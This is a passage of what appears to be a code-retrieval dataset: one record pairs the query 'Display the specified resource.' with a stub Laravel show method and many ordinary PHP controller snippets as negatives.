query_id
stringlengths
32
32
query
stringlengths
7
5.32k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "636457811da928339b7d0effda8a3cd0", "score": "0.0", "text": "public function show(detalles $detalles)\n {\n //\n }", "title": "" } ]
[ { "docid": "cc12628aa1525caac0bf08e767bd6cb4", "score": "0.7593495", "text": "public function view(ResourceInterface $resource);", "title": "" }, { "docid": "d57b314bf807713f346bc35fb937529e", "score": "0.6845801", "text": "public function render() {\n $this->_template->display($this->resource_name);\n }", "title": "" }, { "docid": "05f03e4964305c5851a8417af8f32544", "score": "0.6684253", "text": "public function show($resource, $id)\n {\n return $this->repository->get($id);\n }", "title": "" }, { "docid": "9579e337a5325a82370abb431f646b6f", "score": "0.6490299", "text": "public function show($id)\n\t{\n\t\t//\n\t\t$resource = \\App\\Resource::find($id);\n\t\treturn view('deleteResource', array( 'resource' => $resource) );\n\t}", "title": "" }, { "docid": "989918b39caf8ede67ab11ef4dc4a651", "score": "0.63472325", "text": "public function editresourceAction() {\n\t\t$resourceid = $this->_request->getParam('resourceid');\n\t\t$srlink = new StudentResourceLink();\n\t\t$select = $srlink->select()->where($srlink->getAdapter()->quoteInto('auto_id = ?', $resourceid));\n\t\t$rows = $srlink->fetchAll($select);\n\t\t$therow = null;\n\t\tforeach ($rows as $row) {\n\t\t\t$therow=$row;\n\t\t}\n\t\t//print_r($therow);\n\t\t$this->view->resourcelink = $therow;\n\t\t\n\t\t$mediabankUtility = new MediabankUtility();\n\t\tob_start();\n\t\t$mediabankUtility->curlDownloadResource($therow['mid'],false);\n\t\t$content = ob_get_contents();\n\t\tob_end_clean();\n\t\t$this->view->content = $content;\t\t\n\t\t$this->view->redirect_to = $_SERVER[\"HTTP_REFERER\"];\n\t\tStudentResourceService::prepStudentResourceView($this, $this->_request, $therow->loid);\n\t\tif($therow['category']=='Summary') //summary has been stripped out since a summary exists; add it back in if this one is a summary\n\t\t\t$this->view->studentResourceCategories[6]='Summary';\n\t}", "title": "" }, { "docid": "2e3da5773c9c5d59c21b1af4e1ac8cd8", "score": "0.623589", "text": "public function show($id)\n {\n if(Module::hasAccess(\"Resources\", \"view\")) {\n \n $resource = Resource::find($id);\n if(isset($resource->id)) {\n $module = Module::get('Resources');\n $module->row = $resource;\n $group_lists = array();\n $user_lists = array();\n\n if(!$resource->is_public){\n $group_lists = DB::table('resource_groups')\n ->select('groups.id', 'groups.name')\n ->join('groups','groups.id','=','resource_groups.group_id')\n ->where('resource_groups.resource_id', $id)->whereNull('groups.deleted_at')->whereNull('resource_groups.deleted_at')->get();\n\n $user_lists = DB::table('resource_users')\n ->select('users.id', 'users.name')\n ->join('users','users.id','=','resource_users.user_id')\n ->where('resource_users.resource_id', $id)->whereNull('users.deleted_at')->whereNull('resource_users.deleted_at')->get();\n }\n \n return view('la.resources.show', [\n 'module' => $module,\n 'view_col' => $module->view_col,\n 'no_header' => true,\n 'no_padding' => \"no-padding\",\n 'user_lists' => $user_lists,\n 'group_lists' => $group_lists\n ])->with('resource', $resource);\n } else {\n return view('errors.404', [\n 'record_id' => $id,\n 'record_name' => ucfirst(\"resource\"),\n ]);\n }\n } else {\n return redirect(config('laraadmin.adminRoute') . \"/\");\n }\n }", "title": "" }, { "docid": "d6d98993d2a40a3cba09832ef9953f69", "score": "0.6216249", "text": "public function lookup($resource);", "title": "" }, { "docid": "6244aaaaf59fb15467858bc417084ebc", "score": "0.62105983", "text": "protected function makeDisplayFromResource()\n\t{\n\t\tif($this->activeResource instanceof SimpleXMLElement)\n\t\t{\n\t\t\treturn $this->activeResource->asXml();\n\t\t}else{\n\t\t\treturn $this->activeResource;\n\t\t}\n\t}", "title": "" }, { "docid": "3ee4a64030fd6d594c526bf49945971f", "score": "0.6198528", "text": "public function show($id)\n {\n $res = Resource::find($id);\n return view('resource.show')->withResource($res);\n }", "title": "" }, { "docid": "48b723515995fb4178256251ea323c04", "score": "0.61824137", "text": "public function show($id) {\n $resource = static::$resource::findOrFail($id);\n return view($this->getView('show'), [static::$varName[0] ?? $this->getResourceName() => $resource]);\n }", "title": "" }, { "docid": "b6106194998deb4acb00d89d1984bf4b", "score": "0.6155446", "text": "public function displayAction()\n {\n $params = $this->router->getParams();\n if (isset($params[0]) && $firewall = Firewalls::findFirst(intval($params[0]) ? $params[0] : ['name=:name:', 'bind' => ['name' => $params[0]]])) {\n $this->tag->setTitle(__('Firewalls') . ' / ' . __('Display'));\n $this->view->setVars([\n 'firewall' => $firewall,\n 'content' => Las::display($firewall->name)\n ]);\n\n // Highlight <pre> tag\n $this->assets->addCss('css/highlightjs/arta.css');\n $this->assets->addJs('js/plugins/highlight.pack.js');\n $this->scripts = ['$(document).ready(function() { $(\"pre\").each(function(i, e) {hljs.highlightBlock(e)}); });'];\n }\n }", "title": "" }, { "docid": "c232a532d32e3f8e5c41e20db4331be5", "score": "0.60641253", "text": "function display($aTemplate = null) {\r\n\t\t$this->fetch ( $aTemplate, true );\r\n\t}", "title": "" }, { "docid": "88951f8df99fd6c0e333e72b145dfb04", "score": "0.6063686", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n ); \n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n // test if input is valid\n // retrieve requested record\n // attach to view\n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Square_Model_Item i')\n ->leftJoin('i.Square_Model_Country c')\n ->leftJoin('i.Square_Model_Grade g')\n ->leftJoin('i.Square_Model_Type t')\n ->where('i.RecordID = ?', $input->id);\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->item = $result[0]; \n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404); \n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input'); \n }\n }", "title": "" }, { "docid": "1a2ff798e7b52737e1e6ae5b0d854f6a", "score": "0.60512596", "text": "public function show($id)\n\t{\n\t\t// display *some* of the resource...\n\t\treturn Post::find($id);\n\t}", "title": "" }, { "docid": "da456d60e11065d629261fc79e691a95", "score": "0.6006895", "text": "public function displayAction()\n {\n $id = $this->params['_param_1'];\n $this->flash['message'] = \"Arriba loco, este es el mensaje del flash!\";\n return $this->render( $id );\n }", "title": "" }, { "docid": "3fb44335bf5e5dca76ae4c41be3fee5d", "score": "0.5995527", "text": "public function action_show()\n\t{\n\t\t$id = Coder::instance()->short_url($this->request->param('id'), TRUE);\n\n\t\tif (is_numeric($id) === FALSE)\n\t\t{\n\t\t\tHTTP::redirect(Route::get('default')->uri());\n\t\t}\n\t\t\n\t\t$user = ORM::factory('User', $id);\n\t\t$manager = Manager::factory('User', $user);\n\t\t\n\t\t$manager->show();\n\n\t\t$this->view_container = $manager->get_views_result('container');\n\t\t$this->view_content = $manager->get_views_result('content');\n\t}", "title": "" }, { "docid": "9a28e42aa633511a42cb70db3b7fcc26", "score": "0.5986619", "text": "public function show($id)\n\t{\n\t\ttry {\n\t\t if ( \\Auth::check() && \\Auth::user()->hasPaid() )\n {\n $resource = \\Resource::find($id);\n $path_to_image = app('path.protected_images') .'/'.$resource->image;\n //Read image path, convert to base64 encoding\n $imgData = base64_encode(file_get_contents($path_to_image));\n //Format the image SRC: data:{mime};base64,{data};\n $src = 'data: '.mime_content_type($path_to_image).';base64,'.$imgData;\n\n return \\View::make('resources.view')->with([\n 'resource' => $resource,\n 'img' => $src\n ]);\n\n } else {\n\n \\App::abort(404);\n }\n\n } catch (\\Exception $e) {\n\n \\Log::warning( $e->getMessage() );\n }\n\t}", "title": "" }, { "docid": "41ab5aeaf4ec45d330f185763e2d3cee", "score": "0.5962972", "text": "public function show()\n {\n echo $this->render();\n }", "title": "" }, { "docid": "ecdc5dd9611d1734404c92d923029a39", "score": "0.5881492", "text": "public function show($id)\n {\n echo self::routeNamed();\n }", "title": "" }, { "docid": "461e196dfe64422deb4a744c50eb5d8d", "score": "0.587919", "text": "public function show($id) {\n //view/edit page referred to as one entity in spec\n }", "title": "" }, { "docid": "f004693e692e26b7ab9f8de37189afc1", "score": "0.58711755", "text": "private function displayResources()\n\t\t{\n\t\t\t$html = '';\n\t\t\t$html .= '<div class=\"resources\" >'.\"\\n\";\n\t\t\t$html .= '\t<h4>Resources ~ '.$this->challenge['challengeResourceHeading'].'</h4>'.\"\\n\";\n\t\t\tforeach($this->resources as $resource)\n\t\t\t{\n\t\t\t\t$html .= '\t<p class=\"resource-link\"><a href=\"http://'.$resource['resourceLink'].'\">'.$resource['resourceTitle'].'</a></p>'.\"\\n\";\n\t\t\t}\n\t\t\n\t\t\treturn $html;\n\t\t}", "title": "" }, { "docid": "f02f37fffab992508c7d7d6f7ae94f94", "score": "0.58684236", "text": "public function showAction() {\n\n // validate contact id is int\n $id = $this->route_params[\"id\"];\n // if id is invalid redirect to 404 page\n if (filter_var($id, FILTER_VALIDATE_INT) === false) {\n $this->show404();\n return;\n }\n\n $contact_obj = new Contact();\n $contact = $contact_obj->findById($id);\n // if no contact returned then display error message\n if ($contact == false) {\n //set error message\n $_SESSION[\"error_message\"] = \"Contact not found or deleted\";\n // redirect to show all contacts if contacts not found\n header(\"Location: /contacts\");\n return;\n }\n // render the view if all everything is Ok\n View::renderTemplate(\"contacts/show.twig.php\", [\"contact\" => $contact]);\n }", "title": "" }, { "docid": "4294ddbd744676190ac0b1e7d92632e0", "score": "0.58634454", "text": "public function show() {\r\n echo $this->init()->getView();\r\n }", "title": "" }, { "docid": "d138cb59b6d8df8768f135975e4445ad", "score": "0.58409727", "text": "public function show()\n\t{\n\t\t//\n\n\t}", "title": "" }, { "docid": "ad2fe33fedb796826d1b96c32859495c", "score": "0.5838473", "text": "public function resourceDesktop()\n {\n $resourceTypes = $this->em->getRepository('ClarolineCoreBundle:Resource\\ResourceType')->findAll();\n\n return $this->templating->render(\n 'ClarolineCoreBundle:Tool\\desktop\\resource_manager:resources.html.twig',\n array('resourceTypes' => $resourceTypes, 'maxPostSize' => ini_get('post_max_size'))\n );\n }", "title": "" }, { "docid": "6e1ccfc29048f24d0efc88d6b8257171", "score": "0.5811056", "text": "public function show($name)\n\t{\n\t\t//\n\n\t}", "title": "" }, { "docid": "5b7cde41d4a1270d31720878d4a50b19", "score": "0.57936835", "text": "public function show($id)\n\t{\n\t\treturn $this->success($this->resource->getById($id));\n\t}", "title": "" }, { "docid": "7dd625db5c11766539ede97b10e391c8", "score": "0.57885426", "text": "public function viewAction($resourceId)\n {\n try {\n // Call to the resource service to get the resource\n $resourceResource = $this->get(\n 'asker.exercise.exercise_resource'\n )->getContentFullResource($resourceId, $this->getUserId());\n\n return new ApiGotResponse($resourceResource, array(\"details\", 'Default'));\n\n } catch (NonExistingObjectException $neoe) {\n throw new ApiNotFoundException(ResourceResource::RESOURCE_NAME);\n }\n }", "title": "" }, { "docid": "e871bf67c885c4b595a1f5cc980d032e", "score": "0.5787194", "text": "public function show()\n {\n \n \n }", "title": "" }, { "docid": "e918056f269cc66c35d0c9d5ae72cf98", "score": "0.5785671", "text": "protected function addResourceShow($name, $base, $controller, $options)\n\t{\n\t\t$uri = $this->getResourceUri($name).'/{'.$base.'}.{format?}';\n\n\t\treturn $this->get($uri, $this->getResourceAction($name, $controller, 'show', $options));\n\t}", "title": "" }, { "docid": "8e4604d345a4a1aa92109fa7c7b9b1e1", "score": "0.57850385", "text": "public function showAction(I18NResource $i18NResource)\n {\n $use_translations = $this->get('Services')->get('use_translations');\n\n if(!$use_translations){\n throw $this->createNotFoundException('Not a valid request');\n }\n\n $this->get('Services')->setMenuItem('I18NResource');\n $changes = $this->get('Services')->getLogsByEntity($i18NResource);\n\n return $this->render('i18nresource/show.html.twig', array(\n 'i18NResource' => $i18NResource,\n 'changes' => $changes,\n ));\n }", "title": "" }, { "docid": "ea3e059853b58df5488fa70a7fd54c3b", "score": "0.5782477", "text": "protected function addResourceShow($name, $base, $controller)\n {\n $uri = $this->getResourceUri($name) . '/{' . $base . '}';\n return $this->get($uri, $this->getResourceAction($name, $controller, 'show'));\n }", "title": "" }, { "docid": "39114f16312ac4920577af8887aaf740", "score": "0.57743496", "text": "public function display()\r\n {\r\n echo $this->fetch();\r\n }", "title": "" }, { "docid": "fcc9864a64202f3261f4537601857f07", "score": "0.5769528", "text": "public function show($nombre, $resourceType, $resourceName)\n {\n //gets the resource\n switch ($resourceType) {\n case (\"manga\"):\n $resource = Manga::where(\"name\", $resourceName)->first();\n break;\n case (\"novel\");\n $resource = Novel::where(\"name\", $resourceName)->first();\n break;\n default:\n abort(404);\n break;\n }\n //gets the comments for the resource\n $commentsFound = $resource->comments()->get();\n $commented = !is_null(Auth::user()->comments()->where(\"commentable_id\", $resource->id)->first());\n //creates a register of the interaction\n $resource->users()->attach(Auth::user());\n return view(\"user.show\", compact(\"resource\", \"commentsFound\", \"commented\", \"resourceType\"));\n }", "title": "" }, { "docid": "496570de6c493cd9fe30f7c52ceb87d1", "score": "0.57693255", "text": "public function show($id)\n\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//\n\t\t\t\t\t}", "title": "" }, { "docid": "4be578329f20a5696732db0fd60d5d80", "score": "0.5768978", "text": "public function executeShow()\n {\n $this->headline = HeadlinePeer::getHeadlineFromStripTitle($this->getRequestParameter('headlinestriptitle'));\n $this->forward404Unless($this->headline);\n }", "title": "" }, { "docid": "a3e57330d7cd59896b945f16d0e12a89", "score": "0.5756713", "text": "public function display()\n {\n echo $this->render();\n }", "title": "" }, { "docid": "a3e57330d7cd59896b945f16d0e12a89", "score": "0.5756713", "text": "public function display()\n {\n echo $this->render();\n }", "title": "" }, { "docid": "e3b51ebfe04703c114ab39fc729ba43b", "score": "0.5749091", "text": "public function show(Entry $entry)\n {\n //\n }", "title": "" }, { "docid": "e3b51ebfe04703c114ab39fc729ba43b", "score": "0.5749091", "text": "public function show(Entry $entry)\n {\n //\n }", "title": "" }, { "docid": "fd30d754eb9c55abae27d57dff32abdc", "score": "0.57409096", "text": "public function resourcethumbnailAction()\r\n {\r\n $request = $this->getRequest();\r\n $response = $this->getResponse();\r\n\r\n $id = (int) $request->getQuery('id');\r\n $w = (int) $request->getQuery('w');\r\n $h = (int) $request->getQuery('h');\r\n $hash = $request->getQuery('hash');\r\n\r\n $realHash = DatabaseObject_ResourceImage::GetImageHash($id, $w, $h);\r\n\r\n // disable autorendering since we're outputting an image\r\n $this->_helper->viewRenderer->setNoRender();\r\n\r\n $image = new DatabaseObject_ResourceImage($this->db);\r\n if ($hash != $realHash || !$image->load($id)) {\r\n // image not found\r\n $response->setHttpResponseCode(404);\r\n return;\r\n }\r\n\r\n try {\r\n $fullpath = $image->createResourceThumbnail($w, $h);\r\n }\r\n catch (Exception $ex) {\r\n $fullpath = $image->getFullPath();\r\n }\r\n\r\n $info = getImageSize($fullpath);\r\n\r\n $response->setHeader('content-type', $info['mime']);\r\n $response->setHeader('content-length', filesize($fullpath));\r\n echo file_get_contents($fullpath);\r\n }", "title": "" }, { "docid": "e68751480fa47a0b2d2bc46570e3a883", "score": "0.5735067", "text": "public function display($id = null) {\n \n }", "title": "" }, { "docid": "ca0564d197f7b97c9c7bb3bf9ec0d891", "score": "0.57342285", "text": "public function display($id = null) {\n\t\t$page = $this->SimplePage->findById($id);\n\t\tif(!$page){\n\t\t\t$this->Session->setFlash(__('Page not found'),'error');\n\t\t\t$this->redirect($this->referer());\n\t\t}\n\t\t\n\t\t//If the page was requested using requestAction, return the page object. Can be handy for integration of content in custom pages.\n\t\tif (! empty($this->request->params['requested']) ) {\n\t\t\treturn $page;\n\t\t}\n\t\t\n\t\t$this->set('page',$page);\n\t}", "title": "" }, { "docid": "a7cd1d7ce30dda2ea0273ce031cff516", "score": "0.5725927", "text": "public function displayReferenceAction()\n {\n \t$reference_id = Extended\\reference_request::displayReference( Auth_UserAdapter::getIdentity ()->getId (), $this->getRequest()->getparam('reference_req_id'), \\Extended\\feedback_requests::VISIBILITY_CRITERIA_DISPLAYED);\n \tif($reference_id)\n \t{\n \t\n \t\t$this->view->reference_visible=$reference_id;\n \t\techo Zend_Json::encode( 1 );\n \t}\n \tdie;\n }", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.5724891", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "8f565ce0db5c2b58c1bd4bea7cb05683", "score": "0.5720744", "text": "public function showAction(Ressource $ressource, SessionConcours $session = null)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'session' => $session,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "a494be3f6d40a2f537ff292b7a0ccaae", "score": "0.5711622", "text": "public function item($id=0)\n {\n\t\tif($this->session->userlogged_in !== '*#loggedin@Yes')\n\t\t{\n\t\t\tredirect(base_url().'dashboard/login/');\n }\n \n $resource = $this->member_resource_model->find($id);\n if(empty($resource))\n {\n $this->session->action_success_message = 'Invalid item selection.';\n redirect(base_url().'member_resources/');\n }\n \n\t\t$data = array(\n 'page_title' => 'Resource detail',\n 'resource' => $resource\n );\n\n\t\t$this->load->view('templates/header', $data);\n\t\t$this->load->view('member_resources/item_view');\n\t\t$this->load->view('templates/footer');\n }", "title": "" }, { "docid": "cfff8a1202fcfae7e44ab0c4fb351586", "score": "0.570918", "text": "public function showAction()\n {\n $em = $this->getDoctrine()->getManager();\n $id = $_GET['id'];\n $entity = $em->getRepository('BackendBundle:Concepto')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Concepto entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BackendBundle:Concepto:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "560ae0fd472bad5f1d21beeed5dfbbdd", "score": "0.57012135", "text": "public function show(){}", "title": "" }, { "docid": "b19fae7378b33f825e4ee1e7d8aef94a", "score": "0.5699814", "text": "public function display($templateName=null)\n {\n echo $this->get($templateName);\n }", "title": "" }, { "docid": "d936662ad1c81979476df2e0767c5e19", "score": "0.5699578", "text": "public function show($id)\n\t{\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "7b283ba1c0546a155efc95a44dd0f9cf", "score": "0.56981397", "text": "public function show(Response $response)\n {\n //\n }", "title": "" }, { "docid": "0465b5fe008a3153a8a032fca67abfed", "score": "0.56937706", "text": "public function show() { }", "title": "" }, { "docid": "5df2376bef8dd69621a6ce7e2afd0bf4", "score": "0.56856436", "text": "abstract public function show($id);", "title": "" }, { "docid": "5df2376bef8dd69621a6ce7e2afd0bf4", "score": "0.56856436", "text": "abstract public function show($id);", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
1d687cfa520c6a8d0a7e5db3cd7f9e8a
This method diables a listings
[ { "docid": "fbff299da438cc9df14219c2c4874ee7", "score": "0.0", "text": "public function disable() \r\n\t{\r\n\t\t$this->setActiveStatus(0);\r\n\t\tif ((int) $this->getVariable('id') > 0) \r\n\t\t{\r\n\t\t\t$this->save();\r\n\t\t}\r\n\t}", "title": "" } ]
[ { "docid": "29c43c821f1c5aa78551f0592682a07e", "score": "0.67199165", "text": "public function lists()\n\t{\n\t}", "title": "" }, { "docid": "57c8d98ead6c00232b53e5311ff2fcd3", "score": "0.6359056", "text": "public function listings(){\n $common_model = new Common();\n $all_listings = $this->common_model->getlistingdetails([['listing.status','!=',2],['listing.type','=',2]]);\n $recent_listings = [];\n if(count($all_listings)>0){\n foreach ($all_listings as $listing) {\n \n $listing->total_bookings = $common_model->getcount('booking_requests',[['listing_id','=', $listing->id]]);\n \n array_push($recent_listings, $listing);\n }\n }\n \n $type = 'Bricks';\n return view('admin.listings')->with('all_listings',$recent_listings)->with('type',$type);\n }", "title": "" }, { "docid": "e07cb586aece6be48adf8d9e8b17bb1f", "score": "0.6299847", "text": "abstract protected function listItems();", "title": "" }, { "docid": "98fb9cf75132067854ef8c75d6d25b39", "score": "0.6290027", "text": "public function getObjectList() {}", "title": "" }, { "docid": "9b401d7653765bee65173689c8826964", "score": "0.61665297", "text": "public function listings_info() {\n\t\t$condition=array('id'=>1);\n\t\t$this->data['listDetail'] = $this->listings_model->get_all_details(LISTINGS,$condition);\t\n\t\t$this->load->view('admin/listings/listings_info',$this->data);\n\t}", "title": "" }, { "docid": "83a3f3dcc0877758ee0a4dc8b37b1b02", "score": "0.61258954", "text": "private function scrapeListing(){\n $crawler = $this->scrapperClient->request('GET', self::LISTING_URL);\n\n $rawHTML = $this->getHTML($crawler);\n\n // dd($rawHTML);\n foreach ($crawler as $domElement) {\n $this->info($domElement->nodeName);\n }\n \n // $crawler->filter('.l5cSPd > c-wiz')->each(function ($node) {\n // $this->info( $node->text());\n // });\n\n\n\n }", "title": "" }, { "docid": "da3ec2101626ba23d15b1c29dadddf09", "score": "0.60744274", "text": "function rec_epl_process_all_listings() {\n\n if( !isset( $_GET['epl_process_listings'] ) ) {\n return;\n }\n\n $listings = get_posts(\n [\n 'post_type' => epl_get_core_post_types(),\n 'posts_per_page' => -1\n ]\n );\n\n foreach( $listings as $listing ) {\n my_epl_all_import_post_saved_property_unique_id( $listing->ID );\n }\n\n}", "title": "" }, { "docid": "40b9abd6a178b3e3432fb9bed8d7f4c8", "score": "0.6044492", "text": "function lists() {\r\n\r\n\t\t$billDateFrom = isset($this->passedArgs['bill_date_from'])?$this->passedArgs['bill_date_from']:'';\r\n\t\t$billDateTo = isset($this->passedArgs['bill_date_to'])?$this->passedArgs['bill_date_to']:'';\r\n\t\tif(!($billDateFrom && $billDateTo)){\r\n\t\t\t$billDateFrom \t= $this->passedArgs['bill_date_from'] = $this->firstOfMonth();\r\n\t\t\t$billDateTo \t= $this->passedArgs['bill_date_to'] = $this->lastOfMonth();\r\n\t\t}\r\n\r\n\t\t$clientName = isset($this->passedArgs['client_name'])?$this->passedArgs['client_name']:'';\r\n\t\t$billTo = isset($this->passedArgs['bill_to'])?$this->passedArgs['bill_to']:'';\r\n\t\t$type \t\t= isset($this->passedArgs['type'])?$this->passedArgs['type']:'';\t\r\n\t\t\r\n\t\t$caseNo \t= isset($this->passedArgs['case_no'])?$this->passedArgs['case_no']:'';\t\r\n\t\t$apptTime \t= isset($this->passedArgs['appointment_time'])?$this->passedArgs['appointment_time']:'';\t\r\n\t\t$duration \t= isset($this->passedArgs['duration'])?$this->passedArgs['duration']:'';\t\r\n\t\t$cpt \t\t= isset($this->passedArgs['cpt'])?$this->passedArgs['cpt']:'';\t\r\n\t\t$diag \t\t= isset($this->passedArgs['diag'])?$this->passedArgs['diag']:'';\t\r\n\t\t$gr_c_so \t= isset($this->passedArgs['gr_c_so'])?$this->passedArgs['gr_c_so']:'';\t\r\n\t\t$sch_off_hv = isset($this->passedArgs['sch_off_hv'])?$this->passedArgs['sch_off_hv']:'';\t\r\n\t\t\r\n\t\t$username = isset($this->passedArgs['username'])?$this->passedArgs['username']:'';\t\r\n\t\t\r\n\t\t$printView = isset($this->passedArgs['print_preview'])?$this->passedArgs['print_preview']:'';\r\n\r\n\t\t$this->data['Billing']= $this->passedArgs;\r\n\t\t\r\n\t\t$userinfo \t = 